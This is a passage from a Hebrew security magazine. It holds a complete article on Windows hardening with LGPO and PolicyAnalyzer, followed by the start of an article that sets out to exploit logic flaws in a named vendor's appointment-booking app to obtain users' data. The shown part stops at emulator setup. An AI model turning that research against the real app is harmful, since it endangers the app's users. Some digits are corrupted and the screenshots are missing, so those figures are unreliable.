‫ה‪ GPO-‬אזור המיועד לאבטחת‪-‬מידע ‪.Security Settings -‬‬

‫‪75‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫בכדי להגיע לממשק ניהול הגדרות אבטחת‪-‬מידע נוכל לרשום ב"התחל" ‪:secpol.msc‬‬
‫כעת‪ ,‬בהינתן העובדה כי יש סט הגדרות יעודיות לנושא אבטחת‪-‬מידע למשאבי ‪ ,Windows‬כל שנותר הוא‬
‫להבין כיצד לנצל זאת לטובתנו ‪ -‬ולייצר תקן הקשחה המתאים לדרישות הארגון שלנו‪.‬‬
‫‪Group Policy: Security Protocol Extension‬‬
‫פוליסות אבטחת‪-‬מידע מכילות הגדרות המאפשרות שימוש ביכולות אבטחה של ‪ Windows‬בכדי להבטיח‬
‫אכיפה של מגוון קטגוריות‪:‬‬
‫ססמאות‪ ,‬נעילת משתמש ופרופיל ‪( Kerberos‬מערכת הזדהות לארגון)‬ ‫‪‬‬
‫הגדרות תיעוד ולוגים ברמת המערכת והמשתמש(ים) ‪ -‬תיעוד כללי‬ ‫‪‬‬
‫הרשאות גישה לקבצים ותיקיות‬ ‫‪‬‬
‫אבטחה לתוכנות‪ ,‬תהליכים‬ ‫‪‬‬
‫שיוך פרופיל אבטחה לקבוצה‬ ‫‪‬‬
‫בכדי להשיג שליטה על קבוצת ההגדרות הנ"ל ‪ Microsoft‬מתעדת את השימוש בפרוטוקול שיאפשר לנו‬
‫להגדיר את הקטגוריות השונות‪ .‬לשם כך‪ ,‬הפרוטוקול מתאר את אוסף ההודעות שהוא תומך בהן‪.‬‬
‫אוסף ההודעות מתורגם בפרוטוקול להגדרה נקודתית הקשורה לאבטחת‪-‬מידע‪.‬‬
‫אוסף ההודעות וההגדרות השונות מפורטות ביתר פירוט במסמך ‪ MS-GPSB‬באתר של ‪- Microsoft‬‬ ‫‪‬‬
‫מקור‬
‫בתוך המסמך המפורט של ‪ Microsoft‬ניתן לראות כי לחלק מההגדרות ישנם ערכים קבועים שהמסמך‬ ‫‪‬‬
‫יודע להגדיר ‪ -‬ואותם נוכל לראות כבר במסמך‪.‬‬
‫בכדי לאגד את אוסף כל ההגדרות הנ"ל נתחיל להכיר את קובץ ה‪.GptTmpl.inf -‬‬

‫‪76‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪GptTmpl.inf‬‬
‫כאמור‪ ,‬נוכל להגדיר כל הגדרה הקשורה לאבטחת‪-‬מידע דרך הקובץ הנ"ל‪:‬‬

‫חלק מסעיפי תקן הקשחה לא מוגדרים כחלק מאוסף הגדרות אבטחת‪-‬מידע של משאב ‪ .Windows‬אלו‬ ‫‪‬‬
‫מוגדרים בהקשרים אחרים של ה‪ GPO-‬ויקבלו מענה באמצעות הקובץ ‪( registry.pol‬עליו אסביר בחלק‬
‫הבא)‪.‬‬
‫בכדי להכיר את הגדרות האבטחה השונות מומלץ להעזר בתקן הקשחה אשר ימליץ וילווה אותנו באוסף‬
‫העצום של סעיפים שונים ‪ -‬שכל מטרתם היא אבטחת‪-‬מידע‪.‬‬
‫למשל‪ ,‬הגדרת אופן העלייה לשירותים (‪ )Services‬הבאים‪:‬‬

‫עלייה אוטומטית לשירות ‪WerSvc - Windows Error Reporting‬‬ ‫‪‬‬
‫עלייה אוטומטית לשירות ‪MpsSvc - FireWall‬‬ ‫‪‬‬
‫ביטול שירות ‪SCPolicySvc - Smart Card Removal‬‬ ‫‪‬‬
‫ניתנים לשליטה באמצעות קטע הטקסט הבא‪:‬‬
‫הערך ‪ 0‬מציין "עלייה אוטומטית" והערך ‪ 4‬מציין "בטל שירות"‪.‬‬ ‫‪‬‬

‫ה "" (גרשיים ריקות) חייבות להמצא ‪ -‬לפירוט ניתן לפנות למקור ]‪.[MS-GPSB‬‬ ‫‪‬‬
‫בנוסף‪ ,‬ניתן להגדיר מדיניות ניהול ססמאות בצורה הבאה‪:‬‬

‫‪77‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ניתן לייצא ולייבא את קובץ פוליסת אבטחת‪-‬מידע באמצעות ממשק ה‪:Security Settings-‬‬
‫האפשרות לגבות ולבחון את ההגדרות שלנו עבור תהליך ההקשחה הוא חשוב‪ ,‬שכן נרצה לבחון את‬
‫השינויים שלנו בצורה נקודתית לפני שנריץ אוטומציות המכילות מס' רב של שינויי הגדרות‪.‬‬
‫מעתה‪ ,‬נוכל להגדיר עבור משאב ה‪ Windows-‬שלנו אוסף הגדרות המתאים לתקן ההקשחה שגובש בארגון‬
‫‪ -‬ולהבטיח עמידה של אוסף המשאבים המתאימים בהגדרות אבטחת‪-‬המידע השונות‪.‬‬
‫אם כך‪ ,‬ברור שיש לנו קובץ אחד שניתן דרכו להגדיר את כל קטגוריות אבטחת‪-‬המידע ב‪ .Windows-‬ראינו‬
‫דוגמא להגדרת ‪ Services‬ו‪ Policy-‬לססמאות‪ .‬בהתייחס לניהול ‪ Registry‬נכיר כי קיימת דרך ברורה‬
‫ואוטומטית לניהול ערכים ברמת מערכת ההפעלה וברמת משתמשים בהרשאות שונות‪.‬‬
‫‪registry.pol‬‬
‫הקובץ הנ"ל הינו קובץ בינארי אשר מאפשר למשאב ‪ Windows‬להגדיר הגדרות שונות ברמת מערכת‬
‫ההפעלה והמשתמשים השונים (לא רק בהקשרי אבטחת‪-‬מידע)‪ .‬בכל כיבוי של המשאב ההגדרות נשמרות‬
‫ונטענות מחדש בעת עליית המשאב‪.‬‬
‫כאשר נבצע פעולת ‪ GPOBack-Up‬נקבל את הקובץ המתאים הן להגדרות מערכת ההפעלה והן להגדרות‬
‫משתמש ‪ -‬אלו ימצאו בתיקיות מתאימות בגיבוי‪.‬‬
‫בכדי שנוכל לקבל דינאמיות על אופי הגדרת קובץ ‪ .pol‬נקבל החל מ‪ Windows 10-‬תמיכה של‬ ‫‪‬‬
‫‪ LGPO3.0‬עבור פעולה ליצירת קובץ ‪ .pol‬מקובץ טקסט בפורמט הבא‪:‬‬

‫‪78‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫את קובץ ה‪ registry.pol-‬נוכל לטעון (בהתאם ליעודו) לאחת מהקבוצות הבאות‪:‬‬
‫כך שלאחר שנחליט אילו ערכי ‪ Registry‬נרצה להוסיף להגדרות משאב ה‪ Windows-‬שברשותנו‪ ,‬נוכל‬
‫להשתמש ב‪ LGPO-‬בכדי לייצר קובץ ‪ .*.pol‬זאת נעשה באמצעות ‪ GPOBack-Up‬שהזכרתי קודם לכן‪.‬‬
‫‪ Registry.pol‬המשויך למשתמש (‪ )User‬מהווה את אוסף ההגדרות המוחל על המשתמש שיזם את‬ ‫‪‬‬
‫פעולת הגיבוי‪.‬‬
‫כפי שהזכרתי בפסקה הקודמת ‪ -‬נוכל לטעון אותו למשתמש(ים) ספציפי(ם)‪.‬‬ ‫‪‬‬
‫‪audit.csv‬‬
‫מנגנון התיעוד לפעולות במשאבי ‪ Windows‬מאפשר לנו שליטה ברמה כללית ופרטנית‪ .‬כאשר נתבונן במסך‬
‫‪ Security Settings‬נבחין כי יש ‪ 0‬מקבצי הגדרות לתיעוד‪:‬‬
‫‪ - Audit Policy‬סט הגדרות תיעוד כלליות (מכיל את כלל ההגדריות הפרטניות)‬ ‫‪‬‬
‫‪ - Advenced Audit Policy‬סט הגדרות תיעוד פרטניות המאפשרות הגדרה נקודתית לתיעוד פעולות‬ ‫‪‬‬
‫שונות (מאפשר לחסוך מידע שאינו נחוץ ‪ -‬המגיע בהגדרה הכללית)‬

‫‪79‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫בעבור ההגדרות הכלליות‪ ,‬נוכל להגדירן כבר בקובץ ‪ GptTmpl.inf‬שהצגנו קודם לכן‪ .‬במידה ונוסיף את‬
‫התוכן הבא ב‪:[Event Audit]-‬‬
‫נוכל להבין כי הפעלנו אפשרות "‪ "3‬המסמנת תיעוד במקרה של הצלחה\כשלון עבור אוסף הארועים הבאים‪:‬‬
‫מה שאנו רואים כי יוגדר בצורה כללית מקבל פירוט אשר עוזר לנו להבין מה רמת התיעוד שניתן לקבל‬
‫בצורה מפורטת יותר‪ .‬במידה ונגדיר משהו על ה‪ Audit Policy-‬הכללית‪ ,‬ההגדרה תוכל על כל תת ההגדרות‬
‫שמפורטות ב ‪ - Advenced Audit Policy‬זאת נוכל לראות גם בקבצי ‪ audit.csv‬המתקבל ב‪:GPOBack-Up-‬‬

‫‪80‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫במידה ולא נרצה התנהגות סטנדרטית של תיעוד עבור סעיפי התיעוד המפורט‪ ,‬ניתן יהיה להגדיר אותו‬
‫בחלק המתאים ב‪ .Advenced Audit Policy-‬ניתן לראות את אותן ההגדרות‪ ,‬אך בקובץ האקסל יש לנו‬
‫אפשרות לשלוט עלייהן בצורה ברורה‪:‬‬
‫יש לשים לב שהגדרה דרך ‪ Advenced Audit Policy‬דורסת את ההגדרות שהוחלו לאותה קטגוריה ע"י‬ ‫‪‬‬
‫הגדרות ה‪.Audit Policy-‬‬
‫במידה ונבחן את קובץ ה‪ audit.csv-‬שנקבל ב‪ GPOBack-Up-‬נבחין כי יהיה תוכן רק במידה ויצרנו שינוי‬
‫בהגדרות התיעוד הפרטניות (שכן אם צריך לכסות הגדרות כלליות נעשה זאת דרך קובץ ה ‪).inf‬‬
‫בגלל ההגדרה הפרטנית שביצענו‪ ,‬ההגדרות הקודמות שנבעו מ‪" Audit Policy-‬נזנחו" והוגדרו ע"י‬ ‫‪‬‬
‫‪.Advenced Audit Policy‬‬

‫‪81‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪LGPO.exe - Local GPO Utility‬‬
‫לאחר שהכרנו את קבצי ההגדרות הרלוונטים להגדרת תקן‪-‬הקשחה למשאב ‪ ,Windows‬אפרט על אופן‬
‫השימוש ב‪ .LGPO-‬במאמר זה אדאג לפרט על יכולות ‪ LGPO 3.0‬אשר מגיע בחבילת ‪ .SCT 1.0‬הזכרתי את‬
‫הכלי מספר פעמים לפניכן וציינתי כי מטרתו של הכלי היא לאפשר ‪ .GPOBack-Up‬פעולות עיקריות‪:‬‬
‫יצירת ‪( GPOBack-Up‬פעולת ‪ )Export‬המכיל את כלל ההגדרות של משאב ה‪ Windows-‬והמשתמשים ‪-‬‬ ‫‪‬‬
‫הן מקבצי ‪ audit.csv ,registry.pol‬ו‪.GptTmpl.inf-‬‬
‫ביצוע פעולת ‪ Import‬להגדרות הנ"ל במשאב ‪.Windows‬‬ ‫‪‬‬
‫החלת ערכי ‪ Registry‬על מערכת ההפעלה או קבוצות משתמשים‪.‬‬ ‫‪‬‬
‫יצירת קבצי ‪ Registry.pol‬ע"י קבצתי טקסט בפורמט מתועד‪.‬‬ ‫‪‬‬
‫כעת‪ ,‬אתאר כיצד נוכל להשיגו ואת אופן השימוש בו‪.‬‬
‫‪LGPO 3.0‬‬
‫ב‪ LGPO3.0-‬ניתן למצוא מגוון רחב של פעולות‪:‬‬

‫‪82‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫הורדה‬
‫ניתן להוריד בצורה עדכנית מהאתר של ‪ .Microsoft‬יש לשים לב שהוא חלק מחבילת ‪:SCT1.0‬‬
‫פעולות‬
‫אציג את הפעולות העיקריות שהגדרתי כחלק מביצוע הקשחה‪ .‬פעולת גיבוי (‪ )Export‬לכלל ההגדרות‪:‬‬
‫ניתן לי לראות כי השוני בין קבצי הגיבוי ל‪ Machine-‬ו‪ User-‬מתבטאים רק ב‪.registry.pol-‬‬

‫‪83‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫השוני נובע מהעובדה שרוב הגדרות אבטחת‪-‬מידע מוחלות על מערכת ההפעלה‪ .‬דברים נוספים יוגדרו ב‪-‬‬
‫‪ registry.pol‬מתאים למשתמש‪:‬‬
‫פעולת ייבוא (‪ )Import‬להגדרות (אוסף הקבצים) הנמצאים בגיבוי הנתון‪ .‬ניתן לראות שקיבלנו חיווי‬ ‫‪‬‬
‫מתאים לטעינת הקבצים הרלוונטים‪.‬‬
‫כמוכן‪ ,‬ניתן לראות כי נטענו קבצי ‪ - CSE‬קבצים אלו מוגדרים ב‪ manifest.xml-‬שמגיע ב‪GPOBack-‬‬ ‫‪‬‬
‫‪ Up‬כאשר הגדרות אבטחת‪-‬מידע נוספות הוחלו עלייה‪.‬‬
‫הצורך בקובץ ‪ manifest.xml‬נדרש בכדי לאפשר לתוכנת ‪ Microsoft‬להכיר את סוגי ההגדרות‬ ‫‪‬‬
‫השונות ושיוכן המתאים ליכולות נוספות במשאבי ‪( Windows‬מעבר להגדרות מערכת הפעלה‬
‫ומשתמשים)‪.‬‬
‫למשל‪ ,‬עבור ‪ Windows11‬נמצא ברשימה את‪:‬‬ ‫‪‬‬
‫פעולה ליצירת ‪ Registry.pol‬באמצעות קובץ טקסט בפורמט מתאים‪:‬‬ ‫‪‬‬
‫‪ .1‬ישנן פעולות נוספות כגון פעולות לטעינת ‪ Registry.pol‬ל‪ Machine-‬או ‪( User‬ניתן גם לטעון לקבוצות‬
‫שצוינו מקודם) או פעולה לטעינת קובץ טקסט בפורמט מתאים ל‪.Registry-‬‬

‫‪84‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫דוגמאות שימוש‬
‫כפי שראינו בתיעוד הכלי‪ ,‬נוכל לקבל דינאמיות להחיל ולהגדיר קבצים אשר מהווים את אוסף הגדרות‬
‫אבטחת‪-‬המידע שנרצה‪:‬‬
‫>‪ - LGPO /g <path‬יחיל את אוסף ההגדרות שנמצא בתיקיית ה‪ - GPO Backup-‬הכוללת את הקבצים‪:‬‬ ‫‪‬‬
‫‪.audit.csv ,Registry.pol ,GptTmpl.inf‬‬
‫ניתן להחיל את הקבצים בצורה עצמאית ע"י הפקודות ‪ /t ,/a ,/s‬המפורטות ב‪.LGPO-‬‬ ‫‪‬‬
‫>‪ - LGPO /p <path‬יחיל את אוסף ההגדרות הנמצא בפורמט ‪.PolicyRules‬‬ ‫‪‬‬

‫זהה למצב המערכת בביצוע ‪ /g‬רק על קובץ ‪.PolicyRules‬‬ ‫‪‬‬
‫>‪ - LGPO /m <path‬יחיל קובץ ‪ registry.pol‬בעל הגדרות מערכת הפעלה‪.‬‬ ‫‪‬‬
‫>‪ - LGPO /u < path‬יחיל קובץ ‪ registry.pol‬בעל הגדרות על משתמש‪.‬‬ ‫‪‬‬

‫ניתן לייחס לקבוצות משתמשים שונות‪.‬‬ ‫‪‬‬
‫ל‪ LGPO-‬יש גם יכולות לייצר קובץ ‪ registry.pol‬מתוך קובץ טקסט המתואר לפי פורמט קבוע‬ ‫‪‬‬
‫ניתן למצוא אותו בתיאור של ‪ LGPO‬המגיע בהורדה בחבילת ‪.SCT1.0‬‬ ‫‪‬‬

‫‪85‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪SCT 1.0‬‬
‫לאחר שהכרנו את השימושים השונים שנעשה עם ‪ LGPO‬נרצה לראות כיצד נוכל לראות את ההגדרות שלנו‬
‫מבקורות ע"י הכלים של ‪ .Microsoft‬לשם כך ארחיב על הכלים הנוספים בחבילת ‪.SCT 1.0‬‬
‫‪Policy Analyzer‬‬
‫הכלי הנ"ל יאפשר טעינת הגדרות ע"י טעינה של ‪ GPOBackUp‬או ע"י קבצים נפרדים‪ .‬לשם כך‪ ,‬בחלון‬
‫הראשי נלחץ על כפתור ”‪:“Add‬‬
‫נטען לדוגמא את קובץ ה‪ GptTmpl.inf-‬שיצרנו בחלק של הסבר ונראה כיצד נוכל לבקר את הסעיפים‬
‫לדוגמה שסקרנו‪.‬‬
‫שימו לב שהתווסף לנו קובץ לרשימה ב‪ Policy Analyzer-‬ע"פ השם שספקנו בתהליך טעינת הקובץ‪.‬‬ ‫‪‬‬
‫הקובץ שהצטרף הוא מסוג ‪ PolicyRules‬ומהווה את כלל הגדרות שנטענו מקובץ הגדרות‪.‬‬
‫קבצי ‪ PolicyRules‬יכולים לשמש להקשחה ובקרה עבור משאבי ‪ Windows‬הנתמכים ב‪.SCT-‬‬ ‫‪‬‬
‫ניתן להשתמש ב‪ LGPO3.0-‬בכדי להחילם על משאב ‪( Windows‬פעולת הקשחה)‬ ‫‪‬‬

‫‪86‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫נוכל לשים לב כי הכלי מזהה את הקבצים שהגדרנו בצורה מתאימה ויודע לשייך את ההגדרות לנושא‬
‫המתאים‪:‬‬
‫בנוסף‪ ,‬שימו לב שניתן לראות פירוט על הסעיפים (בחלק התחתון של התמונה) ברמה ברורה יותר מרק‬
‫להגדיר קבועים המסמלים הגדרות במשאבי ‪.Windows‬‬
‫במידה ונטען ‪ GPOBackUp‬מתאימים של ‪ Microsoft‬ל‪( PolicyAnalyzer-‬לא נטען את כל ההגדרות אלא רק‬

‫מה ששקול למשאב ‪ Windows 11‬בסיסי)‪.‬‬

‫‪87‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫נוכל לראות את אוסף כלל ההגדרות ש‪ Microsoft-‬ממליצה להחיל למשאב ‪ Windows 11‬בסיסי‪:‬‬
‫‪Compare/View‬‬
‫נוכל להשוות בין ‪ 0‬קלטים (או יותר) על מנת להעזר ב‪ PolicyAnalyzer-‬בכדי לראות את ההבדלים המהותיים‬
‫בין ‪ 0‬סוגי הגדרות שטענו‪:‬‬

‫‪88‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫למשל נבחן את אוסף ההגדרות שבחנו בפרקים הקודמים אל מול אוסף ההגדרות המומלצות ע"י ‪Microsoft‬‬
‫להקשחה בסיסית ל‪ .Windows 11-‬לאחר מכן נוכל לראות את כל מה ששונה בין ‪ 0‬הקבצים‪:‬‬
‫ניתן לראות את השירותים שהגדרנו וחלק מהגדרות הססמא שהוצגו במאמר‪.‬‬ ‫‪‬‬
‫שדה אפור מראה כי יש חוסר בהגדרה של השדה המוצג באחד מאוספי ההגדרות (תקן הקשחה ‪/‬‬ ‫‪‬‬
‫בקרה)‬
‫בהמשך המאמר אציג כיצד נוכל להעזר ביכולות של ‪ PolicyAnalyzer‬בכדי להתמקד בשוני הקיים בין ‪0‬‬ ‫‪‬‬
‫אוספי הגדרות‪.‬‬

‫‪89‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪Compare to Effective State‬‬
‫באמצעות הפעולה הנ"ל (לעיתים דורשת הרשאות מנהל בהתאם לקבצי הסריקה) נוכל להשוות את מצב‬
‫משאב ה‪ Windows-‬דרכו אנחנו מריצים את ‪ PolicyAnalyzer‬לאוסף הגדרות שבחרנו מתוך מה שנטען ל‪-‬‬
‫‪.PolicyAnalyzer‬‬
‫לצורך הדוגמה נריץ השוואה של הגדרות ‪ Windows 10‬ל‪ .Windows 11-‬ונקבל‪:‬‬

‫‪90‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ניתן להבחין כי קיימים המון שדות המודגשים בצהוב ‪ -‬שדות אלו מדגישים ‪( Conflict‬התנגשות) בין הערך‬
‫בעמודת ה‪ Baseline-‬ל‪( Effective state-‬עמודה שנוצרה בגלל רצוננו לבצע ‪.)Compare to effective state‬‬
‫נוכל בהתאם לייצא דו"ח רק של הפערים באמצעות תפריט ‪:View‬‬
‫או‪ ,‬לייצא דו"ח רק של השוני באמצעות ‪:Show only Differences‬‬
‫שימו לב כי יש ‪ 319‬סעיפים שונים (או שלא הוגדרו או שיש ‪.)Conflict‬‬ ‫‪‬‬

‫מכאן‪ ,‬ניתן להבין כי כ‪ 42-‬חוקים היו זהים (באוסף הגדרות מומלצות ל‪ Windows 11-‬יש כ‪ 362-‬חוקים)‪.‬‬ ‫‪‬‬

‫‪91‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫שימו לב שבעת לחיצה על ‪ Compare to Effective State‬יצטרף לממשק ‪ PolicyAnalyzer‬קובץ המכיל את כל‬
‫ההגדרות המוצגות לאחר פעולת ההשוואה‪.‬‬
‫בעת שנגיע למצב הרצוי מבחינת אוסף החוקים שהכלנו באמצעות ‪ ,SCT‬נוכל להשתמש בקובץ ‪PolicyRules‬‬
‫(אשר ימצא בתיקייה המצויינת בשדה ‪ Policy Rule sets in:‬בממשק ‪ )PolicyAnalyzer‬בכדי להחיל את כלל‬
‫ההגדרות באמצעות קובץ בודד ופקודת ‪ LGPO‬מתאימה (‪.)/p‬‬
‫במידה ונבחן את אוסף החוקים הנמצאים בקובץ ה‪ EffectiveState-‬נראה כי הוא מכיל ‪ 79‬חוקים שנמצאו‬
‫בחפיפה מול ההגדרות המומלצות ל‪( .Windows 11-‬רק הגדרות אבטחה שהוגדרו יוצגו)‬

‫‪92‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫סיכום‬
‫הגדרת תקן הקשחה‬
‫בחלק הראשון של המאמר למדנו על קבצי ההגדרות של ‪ Windows‬אשר יאפשרו לנו שליטה על הגדרות‬
‫שונות שנרצה להחיל במשאב ‪ .Windows‬הגדרות האבטחה המומלצות ניתן למצוא גם ב‪( Microsoft-‬כחלק‬
‫מחבילת ‪ )SCT1.0‬וגם ב‪.)National Checklist Program( NCP-‬‬
‫בנוסף‪ ,‬אם נבחן את תקן ‪ CIS‬נראה הוראות ברורות לאילו ערכים צריך לעדכן בכדי לקבל את מענה‬
‫האבטחה ההולם לצרכינו‪ .‬בהינתן אוסף הקבצים אשר מכיל את הגדרות האבטחה המומלצות נוכל להמשיך‬
‫לתהליך ההקשחה והבקרה‪.‬‬
‫תהליך הקשחה‬
‫בהנחה ויש לנו את קבצי ההגדרות באחת מן התצורות הבאות‪:‬‬

‫‪GptTmpl.inf, Registry.pol, audit.csv‬‬ ‫‪‬‬
‫‪Registry_formatted.txt‬‬ ‫‪‬‬
‫‪HardenGuide.PolicyRules‬‬ ‫‪‬‬
‫נוכל להשתמש בפקודות של תוסף ה‪( LGPO-‬המגיע כחלק מ‪ )SCT1.0-‬בכדי להחיל את הקבצים על ממשקי‬
‫ההגדרות השונים במשאב ‪ .Windows‬שלב זה מבטיח שינוי הגדרות במשאב ה‪ Windows-‬בהתאם‬
‫למפורט בקבצים‪.‬‬
‫תהליך בקרה‬
‫כלי ה‪ PolicyAnalyzer-‬מאפשר טעינה של קבצי הגדרות (בדומה לאוסף שתואר ב"תהליך הקשחה")‪ .‬כאשר‬
‫אוספי הגדרות טעונים בו נוכל לבצע השוואה שטחית בין האוספים הטעונים (‪ .)Compare/View‬במידה‬
‫ונרצה לבצע בקרה המתאימה לאוסף הגדרות שטענו (תקן ההקשחה) נוכל לבצע השוואה אל מול אוסף‬
‫ההגדרות הקיימות בעמדה (‪.)Compare to Effective State‬‬
‫על המחבר‬
‫בעל תואר ראשון בהנדסת תכנה‪ ,‬עוסק כמהנדס פתרונות אבטחת‪-‬מידע‪ .‬חוקר ומיישם יכולות לאוטומצית‬
‫תהליכי הקשחה ובקרה ארגוניים‪ .‬מתעניין ובוחן איומי סייבר שונים לצורכי מחקר ומענה‪.‬‬

‫‪93‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫איך להסתפר מבלי לחכות בתור ‪ -‬מחקר אפליקציית‬
‫‪EasyTor‬‬
‫מאת טל סעדי‬
‫הקדמה‬
‫המאמר הבא הוא השני בסדרה של מאמרים שמטרתה להראות דרכי ניצול של אפליקציות יומיומיות‬
‫לטובת השגת מידע רגיש של משתמשים או לטובת ניצול לרעה של דרכי פעולה לגיטימיות של‬
‫האפליקציה‪ .‬הקו המנחה של המאמרים הוא מציאת חולשות לוגיות‪ ,‬שלעתים אינן חולשות כלל‪ ,‬שכל מה‬
‫שדרוש על מנת לנצל אותן זה הבנה בסיסית של דרך הפעולה של הלקוח וכמה כלי מחקר פשוטים‪ .‬אם‬
‫נזקק את כל זה למשפט אחד‪ ,‬אז אפשר להגיד שלפעמים כדי למצוא תפוח זהב‪ ,‬עדיף לחפש על הרצפה‬
‫מאשר לנסות לטפס על העץ‪ .‬מי שלא קרה את המאמר הראשון בסידרה ומעוניין ‪ -‬יכול לעשות זאת כאן‪.‬‬
‫רקע‬
‫באחד מהביקורים האחרונים שלי בעיר באר שבע‪ ,‬הסתובבתי ביחד עם חבר בין השכונות החביבות של‬
‫העיר‪ ,‬כשלפתע משום מקום הוא פנה אליי עם המשפט הבא‪" :‬אני חייב ללכת להסתפר‪ ,‬עכשיו!"‪ .‬ברור‬
‫שבתור חבר רציונלי‪ ,‬עזרתי לו מיד למצוא את המספרה הקרובה ביותר‪ .‬צעדנו לנו עד לפתח המספרה‬
‫ושאלנו את הספר את השאלה המתבקשת שהוא שומע כמה פעמים טובות ביום‪" :‬כמה יש בתור?"‪.‬‬
‫ההפתעה האמיתית הגיעה כאשר במקום לקבל תשובה קלאסית של "שני הילדים שפה ואז הבחורצ'יק‬
‫מאחורה" או "מפוצץ עכשיו חברה‪ ,‬תחזרו בצהריים"‪ ,‬הוא ענה לנו את התשובה הבאה‪:‬‬
‫"אתם לא יכולים להיכנס ככה‪ ,‬חייבים להזמין תור באפליקציה"‪ .‬שנינו הסתכלנו אחד על השני במעין מבט‬
‫שתוהה האם אנחנו בניו יורק של ‪ 0232‬או בבאר שבע של ‪ ,0202‬אבל קיבלנו את הבקשה והלכנו להוריד את‬
‫האפליקציה‪ .‬רק בדיעבד‪ ,‬בשיחות עם חברים נוספים‪ ,‬נגלה אליי הטרנד החדש של עולם הספרות ושל עולם‬
‫העצמאים בכלל‪ ,‬והוא אפליקציות מותאמות לניהול תורים לעסק הפרטי‪.‬‬
‫איך להסתפר מבלי לחכות בתור ‪ -‬מחקר אפליקציית‪EasyTor‬‬

‫‪94‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪EasyTor‬‬
‫חברת ‪ EasyTor‬היא בין האחראיות הגדולות למהפכת האפליקציות לניהול תורים שהוטמעו בשוק הישראלי‬
‫בצורה רחבה לאחרונה‪ .‬כבר בחנות האפליקציות‪ ,‬בחיפוש אחרי האפליקציה של הספר שלנו‪ ,‬אפשר לראות‬
‫את היקף הלקוחות של החברה ואת כמות האפליקציות שהיא סיפקה ללקוחות פרטיים שרוצים לנהל את‬
‫התורים שלהם‪.‬‬
‫בעמוד האפליקציה של הספר שלנו אפשר לראות את שם החברה שפיתחה את האפליקציה‪ ,‬ובלחיצה על‬
‫שם החברה ניכנס למסך סינון שמראה לנו את כל האפליקציות האחרות שפותחו על ידי אותה חברה‪.‬‬
‫הצילום הזה מכיל רק את התוצאות הראשונות‪ ,‬שכוללות גם הן שמות גדולים בתחום הספרות כמו & ‪Snir‬‬
‫‪ Meir‬שידועים בתור מעצבי שיער של סלבס ושחקני כדורגל מפורסמים‪ ,‬אבל בגלילה למטה בעמוד אפשר‬
‫לראות עוד עשרות אפליקציות שונות שהחברה פיתחה שמגיעות ביחד לעשרות אלפי הורדות‪.‬‬
‫המוצר‬
‫לפי אתר החברה‪ ,‬המוצר שהיא מספקת ללקוחות מוגדר כך‪:‬‬
‫"מערכת ייחודית לניהול תורים בצורה פשוטה ויעילה שמגיעה עם אפליקציה ייחודית לאיפון ואנדרואיד לכל‬
‫בעל עסק עם המון פונקציונליות ושליטה מלאה על הכל מתוך ממשק הניהול! כל מה שנשאר לעשות זה‬
‫להפנות את הלקוחות לאפליקציה הייחודית של העסק שלך ומשם בצורה קלה ופשוטה הם יוכלו להזמין תור‬
‫בכל רגע נתון‪ ,‬לקבל תזכורות‪ ,‬לראות עבודות שלך‪ ,‬להחליף תורים בניהם בצ'אט ולהכיר את הצוות של‬
‫העסק‪".‬‬

‫‪95‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫למוצר של החברה יש בעצם שני צדדים של לקוחות‪ ,‬יש קודם כל את בעל העסק‪ ,‬שהוא גם לקוח של‬
‫החברה אבל גם נותן שירות ללקוחות אחרים‪ ,‬ויש את הלקוחות שלו‪ .‬לכן גם לאפליקציה של החברה יש שני‬
‫צדדים‪ ,‬ממשק לבעל העסק לניהול העסק שלו‪ ,‬וממשק ללקוחות העסק לקביעת תורים קלים‪:‬‬
‫[הצד של בעל העסק]‬
‫[הצד של הלקוחות בעסק]‬

‫‪96‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫אז איך מתחילים לחקור?‬
‫למי שלא קרא את המאמר הקודם‪ ,‬הצגתי בו הקדמה לגבי מחקר אנדרואיד באופן כללי‪ ,‬כולל שיטות וכלים‬
‫שאפשר להשתמש בהם‪ .‬לכן בשביל להמשיך לחלק הבא של המאמר‪ ,‬אמליץ לסיים לקרוא את המאמר‬
‫הקודם בקישור הבא‪ ,‬ואז לחזור אלינו‪ .‬אז נתחיל כמובן בליצור ‪ emulator‬חדש ב‪ Genymotion-‬ונוריד את‬
‫ה‪ APK-‬של הספר שלנו מאתר ‪ Mirror‬לבחירתנו (זאת הוכחה שבאתרים האלה יש באמת הכל‪:)...‬‬
‫הקטע המיוחד במחקר שלנו עכשיו‪ ,‬הוא שלחברת ‪ EasyTor‬אין אפליקציה אחת שאנחנו יכולים לחקור‪ ,‬אלא‬
‫שיש לה אפליקציה לכל לקוח ולכן נחקור אפליקציה אחת מבין רבות שהיא יצרה‪ .‬החלק הטוב הוא שלחברה‬
‫יש ‪ Template‬גנרי של אפליקציה שעליו היא מלבישה עיצוב ספציפי לכל לקוח‪ ,‬ולכן מספיק לחקור לקוח‬
‫אחד כדי להבין את כל המוצר של החברה‪ ,‬ונראה זאת גם בהמשך‪ .‬עכשיו אחרי שהתקנו את האפליקציה על‬
‫האימולטור‪ ,‬נוכל לראות את את המסך הראשי ואת התפריט הצדדי שמאפשר לנו לעשות פעולות‪:‬‬

‫‪97‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
